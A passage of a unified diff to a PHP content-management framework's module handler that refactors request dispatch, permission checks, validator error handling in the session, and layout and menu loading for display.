if($module_info) + { + $this->module = $module_info->module; + $this->mid = $module_info->mid; + $this->module_info = $module_info; + Context::setBrowserTitle($module_info->browser_title); + + $viewType = (Mobile::isFromMobilePhone()) ? 'M' : 'P'; + $targetSrl = (Mobile::isFromMobilePhone()) ? 'mlayout_srl' : 'layout_srl'; + + // use the site default layout. + if($module_info->{$targetSrl} == -1) + { + $oLayoutAdminModel = &getAdminModel('layout'); + $layoutSrl = $oLayoutAdminModel->getSiteDefaultLayout($viewType, $module_info->site_srl); + } + else + { + $layoutSrl = $module_info->{$targetSrl}; + } + + // reset a layout_srl in module_info. + $module_info->{$targetSrl} = $layoutSrl; + + $part_config = $oModuleModel->getModulePartConfig('layout', $layoutSrl); + Context::addHtmlHeader($part_config->header_script); + } + + // Set module and mid into module_info + if(!isset($this->module_info)) + { + $this->module_info = new stdClass(); + } + $this->module_info->module = $this->module; + $this->module_info->mid = $this->mid; + + // Set site_srl add 2011 08 09 + $this->module_info->site_srl = $site_module_info->site_srl; + + // Still no module? it's an error + if(!$this->module) + { + $this->error = 'msg_module_is_not_exists'; + $this->httpStatusCode = '404'; + } + + // If mid exists, set mid into context + if($this->mid) + { + Context::set('mid', $this->mid, TRUE); + } + + // Call a trigger after moduleHandler init + $output = ModuleHandler::triggerCall('moduleHandler.init', 'after', $this->module_info); + if(!$output->toBool()) + { + $this->error = $output->getMessage(); + return FALSE; + } + + // Set current module info into context + Context::set('current_module_info', $this->module_info); + + return TRUE; + } + + /** + * get a module instance and execute an action + * @return ModuleObject executed module instance + * */ + function procModule() + { + $oModuleModel = getModel('module'); + + // If error occurred while preparation, return a message instance + if($this->error) + { + $this->_setInputErrorToContext(); + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + if($this->httpStatusCode) + { + $oMessageObject->setHttpStatusCode($this->httpStatusCode); + } + return $oMessageObject; + } + + // Get action information with conf/module.xml + $xml_info = $oModuleModel->getModuleActionXml($this->module); + + // If not installed yet, modify act + if($this->module == "install") + { + if(!$this->act || !$xml_info->action->{$this->act}) + { + $this->act = $xml_info->default_index_act; + } + } + + // if act exists, find type of the action, if not use default index act + if(!$this->act) + { + $this->act = $xml_info->default_index_act; + } + + // still no act means error + if(!$this->act) + { + $this->error = 'msg_module_is_not_exists'; + $this->httpStatusCode = '404'; + + $this->_setInputErrorToContext(); + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + if($this->httpStatusCode) + { + $oMessageObject->setHttpStatusCode($this->httpStatusCode); + } + return $oMessageObject; + } + + // get type, kind + $type = $xml_info->action->{$this->act}->type; + $ruleset = $xml_info->action->{$this->act}->ruleset; + $kind = strpos(strtolower($this->act), 'admin') !== FALSE ? 'admin' : ''; + if(!$kind && $this->module == 'admin') + { + $kind = 'admin'; + } + + // check REQUEST_METHOD in controller + if($type == 'controller') + { + $allowedMethod = $xml_info->action->{$this->act}->method; + + if(!$allowedMethod) + { + $allowedMethodList[0] = 'POST'; + } + else + { + $allowedMethodList = explode('|', strtoupper($allowedMethod)); + } + + if(!in_array(strtoupper($_SERVER['REQUEST_METHOD']), $allowedMethodList)) + { + $this->error = "msg_invalid_request"; + $oMessageObject = ModuleHandler::getModuleInstance('message', 'view'); $oMessageObject->setError(-1); $oMessageObject->setMessage($this->error); $oMessageObject->dispMessage(); return $oMessageObject; } - - // if(type == view, and case for using mobilephone) - if($type == "view" && Mobile::isFromMobilePhone() && Context::isInstalled()) - { - $orig_type = "view"; - $type = "mobile"; - // create a module instance - $oModule = &$this->getModuleInstance($this->module, $type, $kind); - if(!is_object($oModule) || !method_exists($oModule, $this->act)) { - $type = $orig_type; - Mobile::setMobile(false); - $oModule = &$this->getModuleInstance($this->module, $type, $kind); - } - } - else - { - // create a module instance - $oModule = &$this->getModuleInstance($this->module, $type, $kind); - } + } - if(!is_object($oModule)) { - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); + if($this->module_info->use_mobile != "Y") + { + Mobile::setMobile(FALSE); + } + + // Admin ip + $logged_info = Context::get('logged_info'); + if($kind == 'admin' && $_SESSION['denied_admin'] == 'Y') + { + $this->_setInputErrorToContext(); + $this->error = "msg_not_permitted_act"; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + return $oMessageObject; + } + + // if(type == view, and case for using mobilephone) + if($type == "view" && Mobile::isFromMobilePhone() && Context::isInstalled()) + { + $orig_type = "view"; + $type = "mobile"; + // create a module instance + $oModule = $this->getModuleInstance($this->module, $type, $kind); + if(!is_object($oModule) || !method_exists($oModule, $this->act)) + { + $type = $orig_type; + Mobile::setMobile(FALSE); + $oModule = $this->getModuleInstance($this->module, $type, $kind); + } + } + else + { + // create a module instance + $oModule = $this->getModuleInstance($this->module, $type, $kind); + } + + if(!is_object($oModule)) + { + $this->_setInputErrorToContext(); + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + if($this->httpStatusCode) + { + $oMessageObject->setHttpStatusCode($this->httpStatusCode); + } + return $oMessageObject; + } + + // If there is no such action in the module object + if(!isset($xml_info->action->{$this->act}) || !method_exists($oModule, $this->act)) + { + + if(!Context::isInstalled()) + { + $this->_setInputErrorToContext(); + $this->error = 'msg_invalid_request'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); if($this->httpStatusCode) { $oMessageObject->setHttpStatusCode($this->httpStatusCode); } - return $oMessageObject; + return $oMessageObject; } - // If there is no such action in the module object - if(!isset($xml_info->action->{$this->act}) || !method_exists($oModule, $this->act)) + $forward = NULL; + // 1. Look for the module with action name + if(preg_match('/^([a-z]+)([A-Z])([a-z0-9\_]+)(.*)$/', $this->act, $matches)) { - - if(!Context::isInstalled()) + $module = strtolower($matches[2] . $matches[3]); + $xml_info = $oModuleModel->getModuleActionXml($module); + if($xml_info->action->{$this->act}) { - $this->error = 'msg_invalid_request'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); + $forward = new stdClass(); + $forward->module = $module; + $forward->type = $xml_info->action->{$this->act}->type; + $forward->ruleset = $xml_info->action->{$this->act}->ruleset; + $forward->act = $this->act; + } + } + + if(!$forward) + { + $forward = $oModuleModel->getActionForward($this->act); + } + + if($forward->module && $forward->type && $forward->act && $forward->act == $this->act) + { + $kind = strpos(strtolower($forward->act), 'admin') !== FALSE ? 'admin' : ''; + $type = $forward->type; + $ruleset = $forward->ruleset; + $tpl_path = $oModule->getTemplatePath(); + $orig_module = $oModule; + + if($type == "view" && Mobile::isFromMobilePhone()) + { + $orig_type = "view"; + $type = "mobile"; + // create a module instance + $oModule = $this->getModuleInstance($forward->module, $type, $kind); + if(!is_object($oModule) || !method_exists($oModule, $this->act)) + { + $type = $orig_type; + Mobile::setMobile(FALSE); + $oModule = $this->getModuleInstance($forward->module, $type, $kind); + } + } + else + { + $oModule = $this->getModuleInstance($forward->module, $type, $kind); + } + + if(!is_object($oModule)) + { + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $this->_setInputErrorToContext(); + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); + $oMessageObject->setMessage('msg_module_is_not_exists'); $oMessageObject->dispMessage(); if($this->httpStatusCode) { @@ -338,564 +513,685 @@ return $oMessageObject; } - $forward = null; - // 1. Look for the module with action name - if(preg_match('/^([a-z]+)([A-Z])([a-z0-9\_]+)(.*)$/', $this->act, $matches)) { - $module = strtolower($matches[2].$matches[3]); - $xml_info = $oModuleModel->getModuleActionXml($module); - if($xml_info->action->{$this->act}) { - $forward->module = $module; - $forward->type = $xml_info->action->{$this->act}->type; - $forward->ruleset = $xml_info->action->{$this->act}->ruleset; - $forward->act = $this->act; - } - } + $xml_info = $oModuleModel->getModuleActionXml($forward->module); + $oMemberModel = getModel('member'); - if(!$forward) + if($this->module == "admin" && $type == "view") { - $forward = $oModuleModel->getActionForward($this->act); - } - - if($forward->module && $forward->type && $forward->act && $forward->act == $this->act) { - $kind = strpos(strtolower($forward->act),'admin')!==false?'admin':''; - $type = $forward->type; - $ruleset = $forward->ruleset; - $tpl_path = $oModule->getTemplatePath(); - $orig_module = $oModule; - - if($type == "view" && Mobile::isFromMobilePhone()) + if($logged_info->is_admin == 'Y') { - $orig_type = "view"; - $type = "mobile"; - // create a module instance - $oModule = &$this->getModuleInstance($forward->module, $type, $kind); - if(!is_object($oModule) || !method_exists($oModule, $this->act)) { - $type = $orig_type; - Mobile::setMobile(false); - $oModule = &$this->getModuleInstance($forward->module, $type, $kind); + if($this->act != 'dispLayoutAdminLayoutModify') + { + $oAdminView = getAdminView('admin'); + $oAdminView->makeGnbUrl($forward->module); + $oModule->setLayoutPath("./modules/admin/tpl"); + $oModule->setLayoutFile("layout.html"); } } else { - $oModule = &$this->getModuleInstance($forward->module, $type, $kind); - } + $this->_setInputErrorToContext(); - if(!is_object($oModule)) { - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); + $this->error = 'msg_is_not_administrator'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); $oMessageObject->setError(-1); - $oMessageObject->setMessage('msg_module_is_not_exists'); + $oMessageObject->setMessage($this->error); $oMessageObject->dispMessage(); - if($this->httpStatusCode) - { - $oMessageObject->setHttpStatusCode($this->httpStatusCode); - } return $oMessageObject; } - - $xml_info = $oModuleModel->getModuleActionXml($forward->module); - $oMemberModel = &getModel('member'); - - if($this->module == "admin" && $type == "view") + } + if($kind == 'admin') + { + $grant = $oModuleModel->getGrant($this->module_info, $logged_info); + if(!$grant->is_admin && !$grant->manager) { - if($logged_info->is_admin=='Y'){ - if ($this->act != 'dispLayoutAdminLayoutModify') - { - $oAdminView = &getAdminView('admin'); - $oAdminView->makeGnbUrl($forward->module); - $oModule->setLayoutPath("./modules/admin/tpl"); - $oModule->setLayoutFile("layout.html"); - } - }else{ - $this->error = 'msg_is_not_administrator'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - return $oMessageObject; - } - } - if ($kind == 'admin'){ - $grant = $oModuleModel->getGrant($this->module_info, $logged_info); - if(!$grant->is_admin && !$grant->manager) { - $this->error = 'msg_is_not_manager'; - $oMessageObject = &ModuleHandler::getModuleInstance('message','view'); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - return $oMessageObject; - } - + $this->_setInputErrorToContext(); + $this->error = 'msg_is_not_manager'; + $oMessageObject = ModuleHandler::getModuleInstance('message', 'view'); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + return $oMessageObject; } } - else if($xml_info->default_index_act && method_exists($oModule, $xml_info->default_index_act)) + } + else if($xml_info->default_index_act && method_exists($oModule, $xml_info->default_index_act)) + { + $this->act = $xml_info->default_index_act; + } + else + { + $this->error = 'msg_invalid_request'; + $oModule->setError(-1); + $oModule->setMessage($this->error); + return $oModule; + } + } + + // ruleset check... + if(!empty($ruleset)) + { + $rulesetModule = $forward->module ? $forward->module : $this->module; + $rulesetFile = $oModuleModel->getValidatorFilePath($rulesetModule, $ruleset, $this->mid); + if(!empty($rulesetFile)) + { + if($_SESSION['XE_VALIDATOR_ERROR_LANG']) { - $this->act = $xml_info->default_index_act; + $errorLang = $_SESSION['XE_VALIDATOR_ERROR_LANG']; + foreach($errorLang as $key => $val) + { + Context::setLang($key, $val); + } + unset($_SESSION['XE_VALIDATOR_ERROR_LANG']); } - else + + $Validator = new Validator($rulesetFile); + $result = $Validator->validate(); + if(!$result) { - $this->error = 'msg_invalid_request'; + $lastError = $Validator->getLastError(); + $returnUrl = Context::get('error_return_url'); + $errorMsg = $lastError['msg'] ? $lastError['msg'] : 'validation error'; + + //for xml response $oModule->setError(-1); - $oModule->setMessage($this->error); + $oModule->setMessage($errorMsg); + //for html redirect + $this->error = $errorMsg; + $_SESSION['XE_VALIDATOR_ERROR'] = -1; + $_SESSION['XE_VALIDATOR_MESSAGE'] = $this->error; + $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = 'error'; + $_SESSION['XE_VALIDATOR_RETURN_URL'] = $returnUrl; + $_SESSION['XE_VALIDATOR_ID'] = Context::get('xe_validator_id'); + $this->_setInputValueToSession(); return $oModule; } } + } - // ruleset check... - if(!empty($ruleset)) + $oModule->setAct($this->act); + + $this->module_info->module_type = $type; + $oModule->setModuleInfo($this->module_info, $xml_info); + + $skipAct = array( + 'dispEditorConfigPreview' => 1, + 'dispLayoutPreviewWithModule' => 1 + ); + if($type == "view" && $this->module_info->use_mobile == "Y" && Mobile::isMobileCheckByAgent() && !isset($skipAct[Context::get('act')])) + { + global $lang; + $header = ''; + $footer = ''; + Context::addHtmlHeader($header); + Context::addHtmlFooter($footer); + } + + if($type == "view" && $kind != 'admin') + { + $module_config = $oModuleModel->getModuleConfig('module'); + if($module_config->htmlFooter) { - $rulesetModule = $forward->module ? $forward->module : $this->module; - $rulesetFile = $oModuleModel->getValidatorFilePath($rulesetModule, $ruleset, $this->mid); - if(!empty($rulesetFile)) + Context::addHtmlFooter($module_config->htmlFooter); + } + if($module_config->siteTitle) + { + $siteTitle = Context::getBrowserTitle(); + if(!$siteTitle) { - if($_SESSION['XE_VALIDATOR_ERROR_LANG']) + Context::setBrowserTitle($module_config->siteTitle); + } + } + } + + // if failed message exists in session, set context + $this->_setInputErrorToContext(); + + $procResult = $oModule->proc(); + + $methodList = array('XMLRPC' => 1, 'JSON' => 1, 'JS_CALLBACK' => 1); + if(!$oModule->stop_proc && !isset($methodList[Context::getRequestMethod()])) + { + $error = $oModule->getError(); + $message = $oModule->getMessage(); + $messageType = $oModule->getMessageType(); + $redirectUrl = $oModule->getRedirectUrl(); + + if(!$procResult) + { + $this->error = $message; + if(!$redirectUrl && Context::get('error_return_url')) + { + $redirectUrl = Context::get('error_return_url'); + } + $this->_setInputValueToSession(); + } + else + { + + } + + $_SESSION['XE_VALIDATOR_ERROR'] = $error; + $_SESSION['XE_VALIDATOR_ID'] = Context::get('xe_validator_id'); + if($message != 'success') + { + $_SESSION['XE_VALIDATOR_MESSAGE'] = $message; + } + $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = $messageType; + + if(Context::get('xeVirtualRequestMethod') != 'xml') + { + $_SESSION['XE_VALIDATOR_RETURN_URL'] = $redirectUrl; + } + } + + unset($logged_info); + return $oModule; + } + + /** + * set error message to Session. + * @return void + * */ + function _setInputErrorToContext() + { + if($_SESSION['XE_VALIDATOR_ERROR'] && !Context::get('XE_VALIDATOR_ERROR')) + { + Context::set('XE_VALIDATOR_ERROR', $_SESSION['XE_VALIDATOR_ERROR']); + } + if($_SESSION['XE_VALIDATOR_MESSAGE'] && !Context::get('XE_VALIDATOR_MESSAGE')) + { + Context::set('XE_VALIDATOR_MESSAGE', $_SESSION['XE_VALIDATOR_MESSAGE']); + } + if($_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] && !Context::get('XE_VALIDATOR_MESSAGE_TYPE')) + { + Context::set('XE_VALIDATOR_MESSAGE_TYPE', $_SESSION['XE_VALIDATOR_MESSAGE_TYPE']); + } + if($_SESSION['XE_VALIDATOR_RETURN_URL'] && !Context::get('XE_VALIDATOR_RETURN_URL')) + { + Context::set('XE_VALIDATOR_RETURN_URL', $_SESSION['XE_VALIDATOR_RETURN_URL']); + } + if($_SESSION['XE_VALIDATOR_ID'] && !Context::get('XE_VALIDATOR_ID')) + { + Context::set('XE_VALIDATOR_ID', $_SESSION['XE_VALIDATOR_ID']); + } + if(count($_SESSION['INPUT_ERROR'])) + { + Context::set('INPUT_ERROR', $_SESSION['INPUT_ERROR']); + } + + $this->_clearErrorSession(); + } + + /** + * clear error message to Session. + * @return void + * */ + function _clearErrorSession() + { + $_SESSION['XE_VALIDATOR_ERROR'] = ''; + $_SESSION['XE_VALIDATOR_MESSAGE'] = ''; + $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = ''; + $_SESSION['XE_VALIDATOR_RETURN_URL'] = ''; + $_SESSION['XE_VALIDATOR_ID'] = ''; + $_SESSION['INPUT_ERROR'] = ''; + } + + /** + * occured error when, set input values to session. + * @return void + * */ + function _setInputValueToSession() + { + $requestVars = Context::getRequestVars(); + unset($requestVars->act, $requestVars->mid, $requestVars->vid, $requestVars->success_return_url, $requestVars->error_return_url); + foreach($requestVars AS $key => $value) + { + $_SESSION['INPUT_ERROR'][$key] = $value; + } + } + + /** + * display contents from executed module + * @param ModuleObject $oModule module instance + * @return void + * */ + function displayContent($oModule = NULL) + { + // If the module is not set or not an object, set error + if(!$oModule || !is_object($oModule)) + { + $this->error = 'msg_module_is_not_exists'; + $this->httpStatusCode = '404'; + } + + // If connection to DB has a problem even though it's not install module, set error + if($this->module != 'install' && isset($GLOBALS['__DB__']) && $GLOBALS['__DB__'][Context::getDBType()]->isConnected() == FALSE) + { + $this->error = 'msg_dbconnect_failed'; + } + + // Call trigger after moduleHandler proc + $output = ModuleHandler::triggerCall('moduleHandler.proc', 'after', $oModule); + if(!$output->toBool()) + { + $this->error = $output->getMessage(); + } + + // Use message view object, if HTML call + $methodList = array('XMLRPC' => 1, 'JSON' => 1, 'JS_CALLBACK' => 1); + if(!isset($methodList[Context::getRequestMethod()])) + { + + if($_SESSION['XE_VALIDATOR_RETURN_URL']) + { + $display_handler = new DisplayHandler(); + $display_handler->_debugOutput(); + + header('location:' . $_SESSION['XE_VALIDATOR_RETURN_URL']); + return; + } + + // If error occurred, handle it + if($this->error) + { + // display content with message module instance + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($this->error); + $oMessageObject->dispMessage(); + + if($oMessageObject->getHttpStatusCode() && $oMessageObject->getHttpStatusCode() != '200') + { + $this->_setHttpStatusMessage($oMessageObject->getHttpStatusCode()); + $oMessageObject->setTemplateFile('http_status_code'); + } + + // If module was called normally, change the templates of the module into ones of the message view module + if($oModule) + { + $oModule->setTemplatePath($oMessageObject->getTemplatePath()); + $oModule->setTemplateFile($oMessageObject->getTemplateFile()); + // Otherwise, set message instance as the target module + } + else + { + $oModule = $oMessageObject; + } + + $this->_clearErrorSession(); + } + + // Check if layout_srl exists for the module + if(Mobile::isFromMobilePhone()) + { + $layout_srl = $oModule->module_info->mlayout_srl; + } + else + { + $layout_srl = $oModule->module_info->layout_srl; + } + + // if layout_srl is rollback by module, set default layout + if($layout_srl == -1) + { + $viewType = (Mobile::isFromMobilePhone()) ? 'M' : 'P'; + $oLayoutAdminModel = getAdminModel('layout'); + $layout_srl = $oLayoutAdminModel->getSiteDefaultLayout($viewType, $oModule->module_info->site_srl); + } + + if($layout_srl && !$oModule->getLayoutFile()) + { + + // If layout_srl exists, get information of the layout, and set the location of layout_path/ layout_file + $oLayoutModel = getModel('layout'); + $layout_info = $oLayoutModel->getLayout($layout_srl); + if($layout_info) + { + + // Input extra_vars into $layout_info + if($layout_info->extra_var_count) { - $errorLang = $_SESSION['XE_VALIDATOR_ERROR_LANG']; - foreach($errorLang as $key => $val) + + foreach($layout_info->extra_var as $var_id => $val) { - Context::setLang($key, $val); + if($val->type == 'image') + { + if(preg_match('/^\.\/files\/attach\/images\/(.+)/i', $val->value)) + { + $val->value = Context::getRequestUri() . substr($val->value, 2); + } + } + $layout_info->{$var_id} = $val->value; } - unset($_SESSION['XE_VALIDATOR_ERROR_LANG']); } - - $Validator = new Validator($rulesetFile); - $result = $Validator->validate(); - if(!$result) + // Set menus into context + if($layout_info->menu_count) { - $lastError = $Validator->getLastError(); - $returnUrl = Context::get('error_return_url'); - $errorMsg = $lastError['msg'] ? $lastError['msg'] : 'validation error'; + foreach($layout_info->menu as $menu_id => $menu) + { + // set default menu set(included home menu) + if(!$menu->menu_srl || $menu->menu_srl == -1) + { + $oMenuAdminController = getAdminController('menu'); + $homeMenuCacheFile = $oMenuAdminController->getHomeMenuCacheFile(); - //for xml response - $oModule->setError(-1); - $oModule->setMessage($errorMsg); - //for html redirect - $this->error = $errorMsg; - $_SESSION['XE_VALIDATOR_ERROR'] = -1; - $_SESSION['XE_VALIDATOR_MESSAGE'] = $this->error; - $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = 'error'; - $_SESSION['XE_VALIDATOR_RETURN_URL'] = $returnUrl; - $this->_setInputValueToSession(); - return $oModule; + if(file_exists($homeMenuCacheFile)) + { + @include($homeMenuCacheFile); + } + + if(!$menu->menu_srl) + { + $menu->xml_file = str_replace('.xml.php', $homeMenuSrl . '.xml.php', $menu->xml_file); + $menu->php_file = str_replace('.php', $homeMenuSrl . '.php', $menu->php_file); + $layout_info->menu->{$menu_id}->menu_srl = $homeMenuSrl; + } + else + { + $menu->xml_file = str_replace($menu->menu_srl, $homeMenuSrl, $menu->xml_file); + $menu->php_file = str_replace($menu->menu_srl, $homeMenuSrl, $menu->php_file); + } + } + if(file_exists($menu->php_file)) + { + @include($menu->php_file); + } + Context::set($menu_id, $menu); + } + } + + // Set layout information into context + Context::set('layout_info', $layout_info); + + $oModule->setLayoutPath($layout_info->path); + $oModule->setLayoutFile('layout'); + + // If layout was modified, use the modified version + $edited_layout = $oLayoutModel->getUserLayoutHtml($layout_info->layout_srl); + if(file_exists($edited_layout)) + { + $oModule->setEditedLayoutFile($edited_layout); } } } - - $oModule->setAct($this->act); - - $this->module_info->module_type = $type; - $oModule->setModuleInfo($this->module_info, $xml_info); - - if($type == "view" && $this->module_info->use_mobile == "Y" && Mobile::isMobileCheckByAgent()) + $isLayoutDrop = Context::get('isLayoutDrop'); + if($isLayoutDrop) { - global $lang; - $header = ''; - $footer = ''; - Context::addHtmlHeader($header); - Context::addHtmlFooter($footer); - } - - if($type == "view" && $kind != 'admin'){ - $module_config= $oModuleModel->getModuleConfig('module'); - if($module_config->htmlFooter){ - Context::addHtmlFooter($module_config->htmlFooter); - } - } - - - // if failed message exists in session, set context - $this->_setInputErrorToContext(); - - $procResult = $oModule->proc(); - - $methodList = array('XMLRPC'=>1, 'JSON'=>1); - if(!$oModule->stop_proc && !isset($methodList[Context::getRequestMethod()])) - { - $error = $oModule->getError(); - $message = $oModule->getMessage(); - $messageType = $oModule->getMessageType(); - $redirectUrl = $oModule->getRedirectUrl(); - - if (!$procResult) + $kind = strpos(strtolower($this->act), 'admin') !== FALSE ? 'admin' : ''; + if($kind == 'admin') { - $this->error = $message; - if (!$redirectUrl && Context::get('error_return_url')) $redirectUrl = Context::get('error_return_url'); - $this->_setInputValueToSession(); - + $oModule->setLayoutFile('popup_layout'); } else { - if(count($_SESSION['INPUT_ERROR'])) - { - Context::set('INPUT_ERROR', $_SESSION['INPUT_ERROR']); - $_SESSION['INPUT_ERROR'] = ''; - } + $oModule->setLayoutPath('common/tpl'); + $oModule->setLayoutFile('default_layout'); } - - $_SESSION['XE_VALIDATOR_ERROR'] = $error; - if ($message != 'success') $_SESSION['XE_VALIDATOR_MESSAGE'] = $message; - $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = $messageType; - - if(Context::get('xeVirtualRequestMethod') != 'xml') - { - $_SESSION['XE_VALIDATOR_RETURN_URL'] = $redirectUrl; - } - } - - unset($logged_info); - return $oModule; - } - - /** - * set error message to Session. - * @return void - **/ - function _setInputErrorToContext() - { - if($_SESSION['XE_VALIDATOR_ERROR'] && !Context::get('XE_VALIDATOR_ERROR')) Context::set('XE_VALIDATOR_ERROR', $_SESSION['XE_VALIDATOR_ERROR']); - if($_SESSION['XE_VALIDATOR_MESSAGE'] && !Context::get('XE_VALIDATOR_MESSAGE')) Context::set('XE_VALIDATOR_MESSAGE', $_SESSION['XE_VALIDATOR_MESSAGE']); - if($_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] && !Context::get('XE_VALIDATOR_MESSAGE_TYPE')) Context::set('XE_VALIDATOR_MESSAGE_TYPE', $_SESSION['XE_VALIDATOR_MESSAGE_TYPE']); - if($_SESSION['XE_VALIDATOR_RETURN_URL'] && !Context::get('XE_VALIDATOR_RETURN_URL')) Context::set('XE_VALIDATOR_RETURN_URL', $_SESSION['XE_VALIDATOR_RETURN_URL']); - - $this->_clearErrorSession(); - } - - /** - * clear error message to Session. - * @return void - **/ - function _clearErrorSession() - { - $_SESSION['XE_VALIDATOR_ERROR'] = ''; - $_SESSION['XE_VALIDATOR_MESSAGE'] = ''; - $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = ''; - $_SESSION['XE_VALIDATOR_RETURN_URL'] = ''; - } - - /** - * occured error when, set input values to session. - * @return void - **/ - function _setInputValueToSession() - { - $requestVars = Context::getRequestVars(); - unset($requestVars->act, $requestVars->mid, $requestVars->vid, $requestVars->success_return_url, $requestVars->error_return_url); - foreach($requestVars AS $key=>$value) $_SESSION['INPUT_ERROR'][$key] = $value; - } - - /** - * display contents from executed module - * @param ModuleObject $oModule module instance - * @return void - **/ - function displayContent($oModule = NULL) { - // If the module is not set or not an object, set error - if(!$oModule || !is_object($oModule)) { - $this->error = 'msg_module_is_not_exists'; - $this->httpStatusCode = '404'; - } - - // If connection to DB has a problem even though it's not install module, set error - if($this->module != 'install' && $GLOBALS['__DB__'][Context::getDBType()]->isConnected() == false) { - $this->error = 'msg_dbconnect_failed'; - } - - // Call trigger after moduleHandler proc - $output = ModuleHandler::triggerCall('moduleHandler.proc', 'after', $oModule); - if(!$output->toBool()) $this->error = $output->getMessage(); - - // Use message view object, if HTML call - $methodList = array('XMLRPC'=>1, 'JSON'=>1); - if(!isset($methodList[Context::getRequestMethod()])) { - - if($_SESSION['XE_VALIDATOR_RETURN_URL']) - { - $display_handler = new DisplayHandler(); - $display_handler->_debugOutput(); - - header('location:'.$_SESSION['XE_VALIDATOR_RETURN_URL']); - return; - } - - // If error occurred, handle it - if($this->error) { - // display content with message module instance - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($this->error); - $oMessageObject->dispMessage(); - - if($oMessageObject->getHttpStatusCode() && $oMessageObject->getHttpStatusCode() != '200') - { - $this->_setHttpStatusMessage($oMessageObject->getHttpStatusCode()); - $oMessageObject->setTemplateFile('http_status_code'); - } - - // If module was called normally, change the templates of the module into ones of the message view module - if($oModule) { - $oModule->setTemplatePath($oMessageObject->getTemplatePath()); - $oModule->setTemplateFile($oMessageObject->getTemplateFile()); - // Otherwise, set message instance as the target module - } else { - $oModule = $oMessageObject; - } - - $this->_clearErrorSession(); - } - - // Check if layout_srl exists for the module - if(Mobile::isFromMobilePhone()) - { - $layout_srl = $oModule->module_info->mlayout_srl; - } - else - { - $layout_srl = $oModule->module_info->layout_srl; - } - - if($layout_srl && !$oModule->getLayoutFile()) { - - // If layout_srl exists, get information of the layout, and set the location of layout_path/ layout_file - $oLayoutModel = &getModel('layout'); - $layout_info = $oLayoutModel->getLayout($layout_srl); - if($layout_info) { - - // Input extra_vars into $layout_info - if($layout_info->extra_var_count) { - - foreach($layout_info->extra_var as $var_id => $val) { - if($val->type == 'image') { - if(preg_match('/^\.\/files\/attach\/images\/(.+)/i',$val->value)) $val->value = Context::getRequestUri().substr($val->value,2); - } - $layout_info->{$var_id} = $val->value; - } - } - // Set menus into context - if($layout_info->menu_count) { - foreach($layout_info->menu as $menu_id => $menu) { - if(file_exists($menu->php_file)) @include($menu->php_file); - Context::set($menu_id, $menu); - } - } - - // Set layout information into context - Context::set('layout_info', $layout_info); - - $oModule->setLayoutPath($layout_info->path); - $oModule->setLayoutFile('layout'); - - // If layout was modified, use the modified version - $edited_layout = $oLayoutModel->getUserLayoutHtml($layout_info->layout_srl); - if(file_exists($edited_layout)) $oModule->setEditedLayoutFile($edited_layout); - } - } - } - - // Display contents - $oDisplayHandler = new DisplayHandler(); - $oDisplayHandler->printContent($oModule); - } - - /** - * returns module's path - * @param string $module module name - * @return string path of the module - **/ - function getModulePath($module) { - return sprintf('./modules/%s/', $module); - } - - /** - * It creates a module instance - * @param string $module module name - * @param string $type instance type, (e.g., view, controller, model) - * @param string $kind admin or svc - * @return ModuleObject module instance (if failed it returns null) - * @remarks if there exists a module instance created before, returns it. - **/ - function &getModuleInstance($module, $type = 'view', $kind = '') { - - if(__DEBUG__==3) $start_time = getMicroTime(); - - $parent_module = $module; - $kind = strtolower($kind); - $type = strtolower($type); - - $kinds = array('svc'=>1, 'admin'=>1); - if(!isset($kinds[$kind])) $kind = 'svc'; - - $key = $module.'.'.($kind!='admin'?'':'admin').'.'.$type; - - if(is_array($GLOBALS['__MODULE_EXTEND__']) && array_key_exists($key, $GLOBALS['__MODULE_EXTEND__'])) - { - $module = $extend_module = $GLOBALS['__MODULE_EXTEND__'][$key]; } + } - // if there is no instance of the module in global variable, create a new one - if(!isset($GLOBALS['_loaded_module'][$module][$type][$kind])) + // Display contents + 